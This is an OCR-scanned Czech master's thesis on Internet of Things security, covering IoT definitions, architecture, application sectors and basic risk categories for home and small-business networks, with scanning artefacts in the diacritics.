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Bezpecnost internetu véci

Abstrakt

Tato diplomové prace se zabyva bezpecnosti prvkl internetu véci v prostiedich domécich
a mensich podnikovych siti. Jejim hlavnim cilem je vytvofeni metodického postupu vhod-
ného k ovéfeni a zajisténi bezpecnosti pocitacové infrastruktury obsahujici zatizeni internetu
veci. Zakladem pro vytvoteni postupu je v teoretické ¢asti studium dostupnych informacénich
zdroju a z n&j vychazejici analyza hrozeb, rizik a zranitelnosti. Vystupy analyzy jsou na-
sledné¢ vyuzity v praktické praci pro navrh metodického postupu, ktery je konkrétné
demonstrovan na piikladu jednoduchého doméciho zafizeni, reprezentovaného relativné
rozsifenou IP kamerou. Hlavnim pfinosem vyzkumné prace je v zavéru uvedeny metodicky
seznam doporuceni a bezpecnostnich opatieni, jenz se dotyka vSech aspektti konceptu inter-
netu véci, a ktery je v praxi vyuzitelny pro vyrobce, uzivatele i spravce mensich siti nebo

systémdi.

Kli¢ova slova: Bezpecnost, [oT, internet véci, zranitelnost, riziko, firmware, botnet, Mirai,

Shodan



Internet of Things Security

Abstract

This diploma thesis deals with the Internet of Things security in home and small business
network domains. Its main objective is to develop an applicable methodological approach to
verify and ensure security of a computer infrastructure containing Internet of Things devices.
Literature study and research as well as threat, risk and vulnerability analysis serve as a the-
oretical background for the methodology development. Analysis' findings are thereafter
utilized in the main development part and the process is demonstrated on the example of
a simple home appliance represented by a relatively common IP camera device. Main con-
tribution of this research is a methodological list of recommendations and safety measures.
This list, presented in the conclusion section, weighs all the aspects of the IoT concept and

is usable for all manufacturers, users and network or system admins.

Keywords: Security, [oT, Internet of Things, vulnerability, risk, firmware, botnet, Mirai,

Shodan
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1 Uvod

Internetova sit’ prochdzi vyznamnou evoluci. Z virtualni sité pocitaci pfechazi na sit’ zafi-
zeni vSech druhti, velikosti a funkci, pfi¢emz se tato nastupujici éra nazyva internet véci
(déle také IoT).

Internet véci se tedy v moderni dob¢ informacnich technologii stal jednim z nejsklo-
novangj$ich pojmt. Véci vSedniho uziti se dle paradigmatu ,stale online” proménuji
v rozsdhlou, komunikujici, chytrou, senzorickou, robotickou a autonomni sit. Ziskévana
data jsou zpracovavana decentralizované v cloudovych datacentrech, a tak [oT v kombinaci
s koncepty cloud computingu, big data a umé¢lé inteligence nabizi takika neomezena uplat-
néni v mnoha odvétvich lidské ¢innosti. Chytra zafizeni, at’ uz jde o chytra vozidla, chytré
telefony, chytré domaci spotiebice, hracky nebo bezpecnostni kamery, zacinaji zahlcovat
trh. Zarovei loT proniké i do spiSe konzervativnich odvétvi jako jsou zdravotnictvi, energe-
tika, finance a pramysl.

Piekotny vyvoj a tlak na nizké potizovaci néklady vsak zpusobily stav, kdy potizeni
chytrého zafizeni a jeho zapojeni do domadci ¢i podnikové sité vytvaii nezadouci, a Casto
prehliZzené, bezpecnostni riziko. Maloktery manazZer bezpecnosti, natoZ béZzny uzivatel, vi,
jaké dopady miiZe mit nezabezpefené zafizeni pfipojené do firemni sité. A pravé pohledem
informacni bezpecnosti bude tato prace na fenomén internetu véci nahlizet.

Hlavnim cilem diplomové prace je vytvoreni metodického postupu vhodného k ové-
feni a zajiSténi bezpecnosti pocitatové infrastruktury obsahujici prvky internetu véci.
Metodika bude zalozena na shromazdéni a studiu dostupnych informacnich zdroji, jejich
kompilaci a aplikaci na ptipadu konkrétniho zatizeni potizeného za tim Gcelem. Vysledkem
prace bude seznam doporuceni a bezpecnostnich opatieni pro vyrobce i1 uzivatele.

Prace je ur€ena domacim uzivatellim, béZnym spottebitelim, ptipadné spravelim men-
Sich podnikovych siti a systémt. Mohou z ni Cerpat i vyrobci pfi nastavovani zakladnich

bezpecnostnich opatfeny svych zafizeni.
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2 Cil prace a metodika

V této kapitole budou predstaveny cile diplomové prace a metodika aplikovaného feseni.

Oboji vychazi ze zadani prace.

2.1 Cil prace

Hlavnim cilem diplomové prace je vytvoieni metodického postupu vhodného k ovéteni a za-
jisténi bezpecnosti pocitacové infrastruktury obsahujici prvky internetu véci.

Navrhu bude predchazet teoretickd, resersni ¢ast obsahujici seznameni s problemati-
kou internetu véci a jeho bezpecnosti. Konkrétné bude definovan koncept internetu véct,
budou vyjmenovany nejbeéznéjsi aplikace v praxi a v neposledni fadé¢ budou dikladné
popsany bezpec¢nostni hrozby, které¢ jsou s internetem véci spojené. ReSersni ¢ast poskytuje
dalezity teoreticky zaklad pro druhou, praktickou, ¢ast.

V praktické ¢asti bude v souladu s hlavnim cilem prace navrhnut obecny postup za-
bezpeceni, respektive otestovani a zajisténi bezpecnosti zafizeni internetu véci v prostiedi
malé sité. Popsany a testovany budou konkrétni hrozby a zranitelnosti, rozdélené do nékolika
kategorii podle vektoru ttoku. Kompletni postup otestovani a zabezpeceni sité bude demon-
strovan na piikladu jednoduchého, rozsifeného a dostupného domaciho zatizeni.

Kone¢nym cilem prace je vytvoreni metodického seznamu doporuceni a bezpecnost-
nich opatfeni, které mohou napomoci uzivatelim i vyrobclim zajistit bezpecnost jejich

zafizeni a sniZit rizika s nimi spojena.
2.2 Metodika

Metodika feSeni je ptirozene odlisna pro teoretickou a praktickou ¢ast prace. V zakladu je
ale zalozena na studiu a aplikaci dostupnych informacnich zdroji vénujicich se rizikim,
hrozbam a zranitelnostem zaftizeni internetu véci.

Pro reSerSni ¢ast prace bude vyuzita kompilace a analyza souc¢asnych poznatki v ob-
lasti vyzkumu bezpecnosti. Nezbytnou soucasti je specifikace pouzitych odbornych termint.
Zdroje nasbiranych poznatkii budou zejména publikace komer¢nich firem zabyvajicich se
kybernetickou bezpe€nosti, dale doporuceni ufadl ¢i ndrodnich autorit pro bezpecnost
a v neposledni fad¢ také knizni publikace, kterych vSak s ohledem na aktualnost fenoménu

internetu véci neni mnoho. V ptipadové studii teoretické Casti bude Cerpano i z nekterych
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popularizovanych ¢lanki zpravodajskych portalt. VétSina zdrojt je dostupna online v an-
glickém jazyce.

Prakticka cast diplomové prace bude obsahovat rozbor a analyzu znamych vektort
utoku na zafizeni internetu véci. Spolu s nimi bude proveden experiment v autorem kontro-
lované siti, pfi némz budou demonstrovany konkrétni postupy hleddni bezpecnostnich
problému (zranitelnosti v ndvrhu ¢i konfiguraci). Tyto zranitelnosti budou mapovany k vy-
sledkim analyzy hrozeb a rizik z teoretické Casti prace. S ohledem na naplnéni cilti bude
zéarovein uveden i1 postup napravy stavu, jinymi slovy zajisténi bezpecnosti.

K experimentu bude zapotiebi pofidit testované zafizeni, zapojit jej do sité¢ a nakonfi-
gurovat jej zptisobem béznym pro uzivatele tohoto typu zatizeni. VSechny metody, néstroje
a postupy budou pouzity a odprezentovany edukativnim zplsobem, jehoZz cilem je zajistit
opakovatelnost a ovétitelnost vysledkii. Analogické postupy budou obecné vyuzitelné pro
jakékoli zafizeni internetu véci.

Zhodnoceni prace bude syntézou informaci nashroméazdénych v teoretické i praktické
¢asti prace. Aplikaci indukéniho pfistupu bude nakonec vytvoien seznam bezpecnostnich

doporuceni pro uzivatele i vyrobce zatfizeni internetu véci.
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3 Teoreticka vychodiska

Nasledujici kapitola predstavi koncept internetu véci pocinaje jeho definici, aktualnimi
trendy a jednotlivymi odvétvimi. Kapitola obsahuje i struény uvod do nejbéznéjsich techno-
logii IoT, tedy hardwaru, softwaru, firmwaru a sitovych protokolti. Dale budou zminény
nekteré mozné aplikace internetu véci v praxi. Rozsahla podkapitola se pak bude vénovat
bezpecnosti, analyze hrozeb, rizik a zranitelnosti. Teorie je zavrSena ptipadovou studii his-
torickych bezpecnostnich incidentl, které mély zna¢ny dopad na celé odvétvi, a pii nichz

doslo k naruSeni bezpecnosti chrdnénych systému praveé zneuzitim prvka IoT.

3.1 Internet véci

Podle Bakera (2016) je internet véci (IoT) souhrnné oznaceni pro koncept sité¢ propojenych
zafizeni, vybavenych vestavénym softwarem a sitovym rozhranim, umoziujicim jednoznac-
nou adresovatelnost.

Vyzkumnici (Minerva et al., 2015) uznadvané mezindrodni organizace IEEE uvadi na-
sledujici definici: ,,IoT je sit, jez propojuje unikéatn€ identifikovatelné véci do internetu. Véci
maji senzorické, akéni a potencialn€ programovatelné schopnosti. Diky unikatnimu identi-
fikatoru a senzoru, informace o véci lze sbirat a stav miize byt ménén odkudkoli, kdykoli,
¢imkoli.“ (Minerva et al., 2015)

Evropska agentura pro informacni bezpe¢nost ENISA (European Union Agency for
Network and Information Security) povazuje 1oT za ,,rozvijejici se paradigma s technickym,
socialnim a ekonomickym vyznamem. [oT je koncept Sirokého ekosystému navzdjem pro-
pojenych sluzeb a zatizeni, jako jsou senzory, spotfebni produkty, kazdodenni prvky smart
home objektll, vozidel, primyslovych a zdravotnickych komponent. Tyto technologie sbi-
raji, vyménuji si a zpracovavaji data k dynamickému rozhodovani aktualniho kontextu,
transformujici svét byznysu a celého lidského Zivota. IoT je pevné spojen s kyber-fyzickymi
(CPS) systémy* (ENISA, 2017).

Véc v IoT predstavuje podle Dhanjaniho (2015) objekt nejcastéji obsahujici elektro-
niku (hardware), software (poptipad¢ firmware), sitové rozhrani, vnitini pamét’ a senzory ¢i
aktuatory. Podle stejného autora vznikne spojenim senzort a aktudtorti zminovana tfida tzv.
kyber-fyzickych systémil, coz jsou vestavéna zafizeni fizend pocitacovymi algoritmy, rea-

gujicimi na vnéjsi faktory (Dhanjani, 2015).
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Experti z vyzkumné a poradenské spole¢nosti Gartner predpovidaji, ze pocet IoT za-
fizeni roku 2020 bude mezi 20 a 30 miliardami (Nordum, 2016). Nicmén¢ jiZ nyni je vice
nez polovina internetového datového provozu typu M2M, tedy vyvolana bez nutnosti lidské
interakce (Vermesan et al., 2013).

Pravé M2M je klicovou vlastnosti internetu véci. Propojenim zafizeni, systému a slu-
zeb s algoritmy strojového uceni, big data analyz a um¢l¢ inteligence mtize v dohledné dob¢
vzniknout autonomni systém, jenz se dokaze sdm rozhodovat a lidem bude poskytovat roz-
hrani pro jeho sledovani a ovladani odkudkoli na svéte prosttednictvim internetové site.

Architektura internetu véci musi vSe vyse popsané umoznit prostfednictvim diverzifi-
kovanych technologii, platforem, a predevsim soucasné sitové infrastruktury (ENISA,

2017). Na obrazku 1 je zndzornéna typicka architektura internetu véci.

Obrazek 1: Architektura IoT

N

o P
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Koncova zafizeni Hub Cloud Aplikace
: i Analytika :

Zdroj: Lebedev, 2016, vlastni Gprava

Segment IoT v poslednich letech jednoznaéné roste. Graf na obrazku 2 ukazuje vyvoj
mnoZzstvi dotazli na termin ,,Internet of things* ve vyhledavac¢i Google mezi lety 2012 az
2017. Z grafu je zjevny plynuly nariist. Na heat-map¢€ na obrazku 3 je geografické srovnani
ptvodu téchto dotazil. Zajem o IoT je nejvyssi v Cing, Indii, USA, Australii, zemich zapadni
Evropy, Skandinavie a Kanady.

IoT mé ale 1 slabé stranky a sva rizika. Uvadéna je ptiliSna komplexnost systému a sou-
visejici slozitost ndvrhu, fragmentace platformy, nedostate¢na standardizace a nadbyte¢né

vvvvvv

pfedmétem této diplomové prace, je bezpecnost a ochrana dat. (Tutorialspoint, 2018)
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Obrézek 2: Popularita vyhledavani vyrazu Internet of Things dle Google Trends
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Zdroj: Google, 2018a, vlastni Giprava

Obrazek 3: Mapa Cetnosti vyhledavani vyrazu Internet of Things dle Google Trends

11

11

Zdroj: Google, 2018a, vlastni Gprava

3.1.1 Technicka implementace

V kapitole budou popsany zakladni technické komponenty [oT systémii: hardware, software

a komunikaéni protokoly.
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I. Hardware

Na hardwarové urovni se I1ze nejbéznéji setkat s vestavénymi systémy architektury SoC, tedy
System on Chip. Jsou to mikrokontrolery malych rozméri, skladajici se z desky tisténych
spoju, procesoru, operacni pameti, perzistentni paméti, napajeciho modulu a eventualné dal-
Sich I/O rozhrani (senzort, aktuétort, sitovych rozhrani). (ENISA, 2017)

Evropska agentura ENISA v diagramu na obrazku 4 rozdéluje hardwarovou architek-

turu IoT zatizeni do n€kolika kruhti (ENISA, 2017).

Obrazek 4: Hardwarova architektura IoT zafizeni
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pamét’

Konektivita

- 3

Senzory Napajeni Aktuatory

Zdroj: ENISA, 2017, vlastni uprava

Na poli procesort vestavénych systémtl v soucasné dobé dominuje architektura ARM.
Pro prototypovani mohou byt vyuZity napiiklad platformy Raspberry Pi, Arduino ¢i Beagle-
Bone (Russel et al., 2016). Perzistentni (nevolatilni) pamét’ je nejcastéji typu flash, napajeni
miZze byt standardni z elektrické sité, nebo alternativné z baterie, foto€lanku ¢i prosttednic-

tvim Ethernetového konektoru (PoE).
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II. Software

Software IoT je feSen dvéma zakladnimi zptisoby, které nékdy nejsou striktné rozliSovany
a jsou souhrnné oznacovany za firmware.

Prvni zptisob zahrnuje vestavény operacni systém na bazi Unixu (napiiklad Embedded
Linux, LynxOS) ¢i FreeBSD (naptiklad Tiny OS) obsahujici dal$i programové vybaveni.
Druhym zpiisobem, typickym pro vétSinu jednodussich zatizeni, je firmware uloZeny v ne-
volatilni casti paméti (Russel et al., 2016).

Oteviené platformy typu Arduino poskytuji programovaci prostredi nejéastéji v jazy-
cich C/C++. Je-li na platformé nainstalovan opera¢ni systém, lze ¢asto vyuzit i skriptovani

v shellu ¢i1 jinych skriptovacich jazycich jako Ruby, Perl nebo Python (Skerrett, 2017).
III. Komunikaéni rozhrani

IoT nejcastéji ptimo komunikuje se sitovou branou reprezentovanou routerem ¢i hubem,
a to prostfednictvim dratovych nebo bezdratovych komunika¢nich protokolt. Existuji ale
1 implementace IoT protokolti umoznujici P2P provoz mezi jednotlivymi zafizenimi navza-
jem (Barcena et al., 2015).

Funkci hubu miaze u nékterych drobnych zatizeni a senzort plnit jiny fidici prvek, ke
kterému se pfipojuji pomoci zvlastnich IoT protokoli Z-Wave, Zigbee, Bluetooth-LE atp.
(Barcena et al., 2015). Sitovy zasobnik rozsifeny o IoT technologie je ukazan na obrazku 5.

Piiprava na pfichod IoT se nejvice projevila u linkové a aplika¢ni vrstvy. Na linkové
vrstvé vznikly nové protokoly, respektive komunikaéni kanaly obecné€ vhodné pro casté pre-
naSeni malych objemi dat s nizkou latenci (Bluetooth-LE, Z-Wave, Zigbee). Vhodné je
zminit 1 nastupujici 5G sité, jez budou mit ziejmé zasadni dopad na rozvoj IoT systémil
v obcich, méstech, krajich a na statni irovni.

Na sitové vrstve se ¢im dal vice akcentuje podpora IPv6, ktera by umoznila, aby kazdé

zatizeni mélo vlastni unikétni vetejné dostupnou adresu.
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Obrazek 5: Sit'ové technologie IoT
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Zdroj: Barcena et al., 2015, vlastni Gprava

Transportni vrstva zlistava relativné nedotCena. Zatizeni, kterd preferuji integritu dat,
bezpecnost a spravné doruceni nadale vyuzivaji TCP protokolu s moznym rozSifenim

o SSL/TLS Sifrovani. Naopak u aplikaci, kde je prioritou rychlost a nizka latence se pouziva

UDP pienos.

Aplikacni vrstv€é dominuji protokoly pro piedavani zprav mezi serverem a klientem:
MQTT, XMPP a HTTP/REST (Russel et al., 2016). Casto se lze setkat s protokolem SSDP
a z n&) vychazejici UPnP, jejichZ cilem je zjednoduSeni a automatizace zavadéni sitovych
sluzeb prostfednictvim publikovani otevienych fidicich protokoli (Presser et al., 2008).
UPnP umoziuje automatickou konfiguraci sité, tedy obdrzeni IP adresy, ozndmeni své pii-
tomnosti ostatnim zafizenim, otevieni uzivatelského rozhrani, ptipadné velmi rizikové

vytvofeni tunelu skrz router pro externi spojeni s internim zafizenim uvnitf privatni sité

(Presser et al., 2008).
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Ptestoze cloudova infrastruktura jiz neni soucasti sitového zasobniku, 1ze zminit i nej-
Castéji vyuzivané technologie v této oblasti. Vyrobci a vyvojati cloudovych sluzeb stavi sva
rozhrani predevs§im na Jave, Javascriptu NodelS, Pythonu. K hostingu vyuzivaji bud’ vlastni
infrastrukturu nebo populdrni poskytovatele Amazon Web Services (AWS) a Microsoft

Azure. (Skerrett, 2017)

3.2 Aplikace

V nasledujici podkapitole budou predstaveny nékteré vybrané aplikace loT v praxi. Aplikace
budou rozdéleny do tii segmentt:

e domaécnosti a podniky — spotiebitelsky sektor,

e pramysl a zemédélstvi — vyrobni a zpracovatelsky sektor,

e  statni sektor.

3.2.1 Spotrebitelsky sektor

Spotiebitelsky sektor zahrnuje zafizeni pro domacnosti, podniky a osobni nositelna zatizeni.
Ze srovnani popularity jednotlivych odvétvi uvedeného niZe plyne, Ze prave tento je pocetné

nejvyznamnéjSim.
I. Chytré domacnosti a budovy

Chytra domacnost v sobé zahrnuje anglické terminy smart home, smart buildings, home au-
tomation a je ve spotiebitelském sektoru nejpopularnéjSim odvétvim IoT. Nejvyhledadvané;si
je vyraz v regionu Némecka, USA, Singapuru, Rakouska. (Google, 2018b)

V souvislosti s produkty chytré domacnosti jiZz vznikly stovky spolecnosti a startupti
(Lueth, 2015). Z konkrétnich aplikaci 1ze jmenovat naptiklad: monitoring spotieby energii,
vody, vzdalené ovladani spotiebicli, alarmy, webové kamery, senzory vlhkosti (Vermesan

etal., 2013).
II. Nositelna elektronika

Nositelnou elektroniku (wearables) reprezentuje skupina osobnich zatizeni, které 1ze nosit
na odévu, na téle ¢i v ném. Moderni jsou fitness naramky, chytré hodinky sparované s mo-
bilnim telefonem, chytré bryle a dalsi. Zafizeni jsou vyuzitelnd zejména pii sportovnich
vykonech a mediciné (Vermesan et al., 2013). Mohou zaznamenavat krevni tlak, teplotu,

srdecni tep, poceni, spalené kalorie, pocitaji kroky. Nasbirana data pak mohou byt posilana
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do cloudu ¢i mobilni aplikace k analyze, vyhodnoceni nebo prezentaci vysledkii. (Russel et

al., 2016)
III. Obchod a nakupovani

V obchodu se pfichod IoT nejvice projevil u logistiky dodavek, NFC plateb a inteligentniho

nakupovéni na zaklad¢ hodnoceni chovani ¢i preferenci uzivatelti (Vermesan et al., 2013).

3.2.2 Vyrobni a zpracovatelsky sektor

Primysl je segment internetu véci, jenz vychazi z M2M konceptu a rozsituje ho o moznost
centralni analyzy dat. Typickymi zastupci jsou veskerd zafizeni sméfujici k primyslové

a dopravni automatizaci nebo napiiklad zeméd¢€lské optimalizaci. (Lueth, 2015)
I. Vozidla

Automobily jiz dnes maji stovky az tisice senzord, jejichZ data ndsledn€é vyhodnocuje tidici
jednotka. Je jen otdzkou Casu, kdy vozidla zacnou komunikovat mezi sebou a budou si zasilat
zpravy. To by mélo vést k vySsi bezpecnosti a v kone¢ném disledku 1 k autonomni dopravé.
(Russel et al., 2016)

Vyvoj v oblasti propojenych, respektive autonomnich automobilli je v§ak pomérné po-
maly zejména kvuli dlouhému zivotnimu cyklu vozidel, velkému mnozstvi vyrobct

a zakonné regulaci (Lueth, 2015).
II. Doprava

Implementace IoT do dopravy znamend integraci vozidel, uzivateli a infrastruktury. Hro-
madné zpracovani téchto vstupli umozni fizeni dopravy, spravu parkovacich mist, provoz
inteligentnich mytnych systémi, provoz asisten¢nich sluzeb, fizeni hromadné dopravy, hla-

Seni zpozdéni atd. (Russel et al., 2016, Lueth, 2015)
III. Vyroba

V odvétvi vyroby a priimyslu je jiz nyni IoT bézné. Lze se s nim setkat naptiklad u robotic-
kych systému, senzord, automatizace vyrobni linky a v dalSich vyuzitich umoznujici

dynamickou odezvu vyrobniho procesu a kone¢né¢ zvyseni produktivity (Russel et al., 2016).
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IV. Zemédélstvi

Zemédelstvi je odvétvi s velkym potencialem, jde-1i o zavadéni novych IoT technologii. Ty-
pické piiklady mohou byt: monitoring pohybu skotu, monitoring vlhkosti ptidy, sledovani

slunecniho svitu, sledovani teploty sklenikii atp. (Vermesan et al., 2013)

3.2.3 Statni sektor

Statni sektor je jednim z nejvice regulovanych odvétvi, kam nové technologie, zvIast u nichz
neni vyfeSena bezpec¢nost a standardizace, pronikaji velmi pomalu (Russel et al., 2016). I zde

vSak dochazi k postupné adaptaci nékterych aplikaci [oT.
I. Energetika

Energetické spolecnosti Casto spravuji kritickou infrastrukturu statu, jez musi byt odolna,
bezchybna a za kazdych okolnosti funkéni. IoT je vyuzivano zejména k monitoringu kritic-
kych systémi, umoznujici rychleji a presnéji diagnostikovat naptiklad vypadek sluzeb.
(OpenDNS, 2015)

Z uzivatelského pohledu je jiz dnes bézné, Ze energetické spolecnosti odecitaji stavy
elektromérti, vodoméra ¢i plynomérii vzdalené Spole¢nosti mohou svym zakaznikim po-
skytovat online informace o aktudlnim vyuziti a nabadaji k ekologi¢téjsSimu chovani. (Russel
etal., 2016)

V souvislosti s energetikou literatura uvadi termin smart grid (inteligentni sit’). To je
nazev pro elektrickou sit’, jeZ zahrnuje rtizné kontrolni systémy, efektivni zdroje atd. Rozvoj
inteligentni sit¢€ zacal v dobé¢, kdy se do rozvodové soustavy zacaly zapojovat mensi, decen-
tralizované zdroje elektfiny jako solarni a vétrné elektrarny. (Russel et al., 2016, Vermesan

etal., 2013)
II. Smart cities

Smart cities neboli chytrd mésta zahrnuji velké mnoZstvi ptipadd uvziti, od dopravy, in-
frastruktury, ptes spravu odpadii, bezpecnost az po monitoring zivotniho prostfedi. Aplikace
IoT mtze pomoci v optimalizaci dopravy, snizeni hluku, snizeni zneciSténi a v udrzovani

bezpecnych mést. (Lueth, 2015)
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Konkrétni priklady nékterych soucasnych projektd jsou: monitorovani volnych parko-
vacich mist, vibraci, stavu materiadlu budov, vytvareni hlukovych map, dopravniho provozu,

svételného znecisténi a odpadl (Vermesan et al., 2013).
III. Zdravotnictvi

IoT mé ve zdravotnictvi velky potencial. Koncept pfistroji konstantné monitorujici zivotni
funkce pacientd je v odbornych biomedicinskych kruzich zminovan jiz delsi dobu (Lueth,
2015). Senzory vlozené pacientiim piimo do t€la mohou obsahovat RFID tagy napf. s iden-

tifikaci cloveéka, ockovaci kartou, kontaktem na pribuzné a dalSimi (Russel et al., 2016).
IV. Zivotni prostiedi

V ochrané zivotniho prostfedi 1ze IoT vyuzit k monitoringu lesnich pozart, znecisténi

ovzdusi, lavin, zemétieseni, vodniho stavu, povodni nebo tsunami (Vermesan et al., 2013).

V. Bezpecnost

Bezpec€nostni sluzby 1 bézni uzivatelé mohou IoT vyuzit ke kontrole piistupti do hlidanych
oblasti, kontrole pfitomnosti hotlavin, kapalin, zafeni, plynti, a to prostfednictvim senzorti

a bezpecnostnich kamer (Vermesan et al., 2013).

3.2.4 Popularita jednotlivych odvétvi

Dle online priizkumu Iana Skerretta, kterého se roku 2017 zt¢astnilo ptes 700 IT profesio-
nalid jsou dnes nejatraktivnéjSimi odvétvimi loT smart home (chytra domacnost), industrial
internet (pramysl), smart grid (energetika) a smart cities (mésta) (Skerret, 2017).
Spolec¢nost loT-analytics publikovala report, ve kterém analyzou socidlnich siti a vy-
hledavact vytvoftila statistiku oblibenosti rtiiznych druhii aplikaci internetu véci v odvétvich
(Lueth, 2015). Z této analyzy za druhé Ctvrtleti 2015 vyplyva, ze wearables (nositelna zaii-
zeni), smart cities a smart homes byly nejhledanéjSimi terminy na internetu v oblasti IoT
(Lueth, 2015). Obecna metodika analyzy spocivala v agregovani poc¢tu hledani terminu ve
vyhledavaci Google, poctu ptispévkll na socidlnich sitich Twitter, LinkedIn a na zpravodaj-

skych serverech. Vysledny graf je na obrazku 6.
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Obrazek 6: Popularita odvétvi [oT v Q2/2015
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Zdroj: Lueth, 2015, vlastni Giprava

Vzhledem k tomu, Ze pfesnd metodika vyzkumu loT-analytics nebyla zndma, jsou
v této praci uvedeny vysledky vlastni analyzy Google Trends, tedy poc¢tu dotazli ve vyhle-
davaci Google za obdobi od 1.7.2015 do 1.10.2017.

Graf na obrazku 7 ukazuje, ze nejvice vyhledavanym vyrazem v odvétvi loT byl smart
home a jeho popularita v ¢ase roste. DalSimi nejvice vyhledavanymi byly smart cities a wea-
rables, jejichz popularita ziistavala za sledované obdobi relativné konstantni.

Na mapé¢ na obrazku 8 je znadzornéno geografické rozlozeni nejpopularnéjsich odveétvi.
Americe, Australii, Rusku, statim Blizkého a Stiedniho vychodu vévodi smart home. Cast
zapadni Evropy véetné CR, Indii a Indonésii ovlada smart cities. V Ciné jsou nejpopularnd;-

Sim odvétvim wearables.
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Obrazek 7: Popularita odvétvi IoT dle Google Trends
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Obrazek 8: Geografické rozlozeni popularity odvétvi loT dle Google Trends
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Zdroj: Google, 2018b, vlastni uprava
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3.3 Bezpecnost internetu véci

Kapitola o bezpecnosti by méla zacinat definici zakladnich pojmt v této oblasti. Andress
(2014) uvadi tii klasicke pilife bezpecnosti: C, 1, A (confidentiality, integrity, availability)
neboli diivérnost, integrita, dostupnost. Definice pojmil jsou podle néj nasledujici:
e  Duvérnost je zajisténi utajeni citlivych zprav pred neopravnénymi osobami.
e Integrita je zajiSténi neménnosti prendSenych zprav.
e Dostupnost je zajisténi dostupnosti informaci, kdyz jsou potieba.
Nékdy se nad ramec vyse popsanych uvadi dalsi vlastnosti:
e Autentizace neboli zajisténi ovétreni zdroje nebo ptivodce akce.
e  Nezamitnuti je zajisténi, Ze systém nemiize pozd¢ji zamitnout, Ze provedl danou
akei.
Ne vSechny zminéné vlastnosti jsou stejné dillezité ve vSech ptipadech uziti. Existuji sys-
témy, kde je zajisténi diveérnosti nadfazeno dostupnosti nebo naopak.
V oblasti fizeni bezpec€nosti se dale pracuje s pojmy hrozby, zranitelnosti, rizika a do-
pady. Definice podle stejného autora (Andress, 2014) jsou:
e Hrozby reprezentuji negativni sily ¢i udalosti, které mohou poskodit chranénou hod-
notu. Aktérem se oznacuje zdroj hrozby.
e Zranitelnost je pojem oznacujici slabinu ¢i nedostatek v navrhu, implementaci nebo
chovani systému. Zranitelnosti jsou vSude a nelze se jim zcela vyhnout.
e Rizika ptedstavuji potencial selhani nebo problému. Urcuji se kvalitativnimi i kvan-
titativnimi méfitky a zahrnuji 1 dopad Gtoku a jeho pravdépodobnost.
e Dopad je mira ovlivnéni néjaké udalosti na dalsi vyvoj. Obvykle urcuje zdvaznost

bezpec¢nostniho incidentu.

IoT vytvaii Gto¢nikiim rozsahlé ptilezitosti, které musi byt adresovany piedtim, nez
koncept dosdhne svého plného potencidlu. Nékteré bezpecnostni problémy jsou pievzaté
z principu sitovych technologit, jiné jsou nove vzniklé, zplisobené charakterem a kombinaci
schopnosti zatizeni (ENISA, 2017). Pro nékteré vyrobce IoT prvki predstavuje podle Rus-
sela (2016) kyberneticka bezpecnost v jejich odvétvich dosud nezndmou disciplinu (tyka se
to naptiklad vyrobctl chytrych variant lednicek, domacich spottebici, automobild, ...).

Vzhledem k tomu, Ze podstatou konceptu IoT je sbér dat, metadat a jejich nésledna
analyza, je tfeba si uvédomit hrozbu pro soukromi uzivateld, kteti obvykle nemaji nad na-

kladani s daty faktickou ani pravni kontrolu. Data mohou byt ohroZena ze stran Uto¢nikt
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i samotnych provozovateld, ktefi n¢kdy nemusi byt zcela divéryhodni a nemusi spliiovat
pfisné podminky manipulace s citlivymi daty (Tutorialspoint, 2018).

Mezi faktory nejvice negativné ovlivitujici bezpecnost prvki IoT jsou relativné kratky
zivotni cyklus zafizeni a tlak na uzivatelskou piivétivost, potazmo nizkou cenu zafizeni

(Russel et al., 2016). Tlak na nizkou cenu novych zafizeni zplisobuje, Ze vyrobci vyuZzivaji

M

wewvr

souCasnych best practices. Jde zejména o spravné nastaveni procesii manipulace s hesly,
ukladani citlivych dat, ochrany administratorskych rozhrani, fyzické ochrany, Sifrovani, gra-
nularity pfistupovych prav a podobné (Barcena, 2015, Russel et al., 2016). Analyza rizik loT

zjevné vyzaduje holisticky, multidisciplinarni ptistup.

3.3.1 Kategorie rizik

Na zacatku této podkapitoly jsou uvedeny zékladni kategorie rizik pro sité s prvky IoT, jez
budou v dalsim textu rozebrany podrobngji. Clenéni vychazi z Bakera (2016) a evropské

agentury ENISA (2017).
e Riziko naru$eni divérnosti

Pod tuto kategorii spadaji utoky vedouci k naruseni ditvérnosti dat, zejména jejich inik a ne-
opravnény piistup k nim. Nemusi se jednat pouze o Utoky vedené na dané zatfizeni, ale také
na komunikac¢ni protokol nebo cloudovou sluzbu. Rizika se tykaji i potencialni manipulace,
smazani ¢i zneuziti dat (Russel et al., 2016). Nezajisténi ochrany soukromi mtize byt proble-
matické 1 z pohledu legislativy, konkrétné miiZze byt klasifikovano jako poruSeni smérnice

EU o ochrané dat GDPR (ENISA, 2017) .
e Riziko naruSeni integrity

Naruseni integrity zatizeni, dale oznaCované jako kompromitace zatizeni, miize spocivat na-
pfiklad v neopravnéném ziskani prav, pfistupu do administratorského rozhrani nebo
napadeni Skodlivym kédem. K atoklim byvaji zneuzivany znamé zranitelnosti nebo nedoko-
nalosti v konfiguraci ¢i navrhu, naptiklad nedokumentované ucty, slaba vychozi hesla,

zranitelnosti firmwaru, sluzeb, softwaru tfetich stran a dalsi. (Barcena, 2015)
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¢ Riziko nedostupnosti sluzeb

Nedostupnost sluzeb mlize byt vyvolana mnoha faktory. Mezi nejbéznéjsi zpiisoby patii opét
napadeni malwarem, fyzickym poskozenim zafizeni nebo jeho senzort, neschopnosti zafi-
zeni pokraCovat v Cinnosti pii ztrat¢ internetové konektivity, vypadkem napéjeni nebo

prirodni pohromou (Andress, 2014).

3.3.2 Reserse souc¢asného vyzkumu bezpecnosti loT

Bezpecnostni vyzkumnici z fad firem i jednotlivet zvetejnili jiz velké mnozstvi bezpecnost-
nich incidentd IoT. Cilem téchto publikaci byla demonstrace hrozeb a rizik internetu véci
a zvySeni povédomi o bezpecnosti. Zaroven tyto vyzkumy pomahaji identifikovat a napra-
vovat zranitelnosti jesté pred jejich masivnim zneuzitim, jsou-li ohlaSeny v programu typu
bug bounty. (Russel et al., 2016) Pro ucely této prace je vhodné se s nékterymi vybranymi
vyzkumy sezndmit.

Spole¢nost HP v roce 2014 zvetejnila report, ve kterém analyzovala desitku mezi spo-
tiebiteli nejrozsifenéjSich IoT zafizeni a vysledky Setfeni jsou nasledujici (Dragoni et al.,
2018):

e 90 % zatizeni sbirala alespon n&jaké informace.

e 80 % zafizeni nevyZadovala dostatecn€ komplexni heslo.

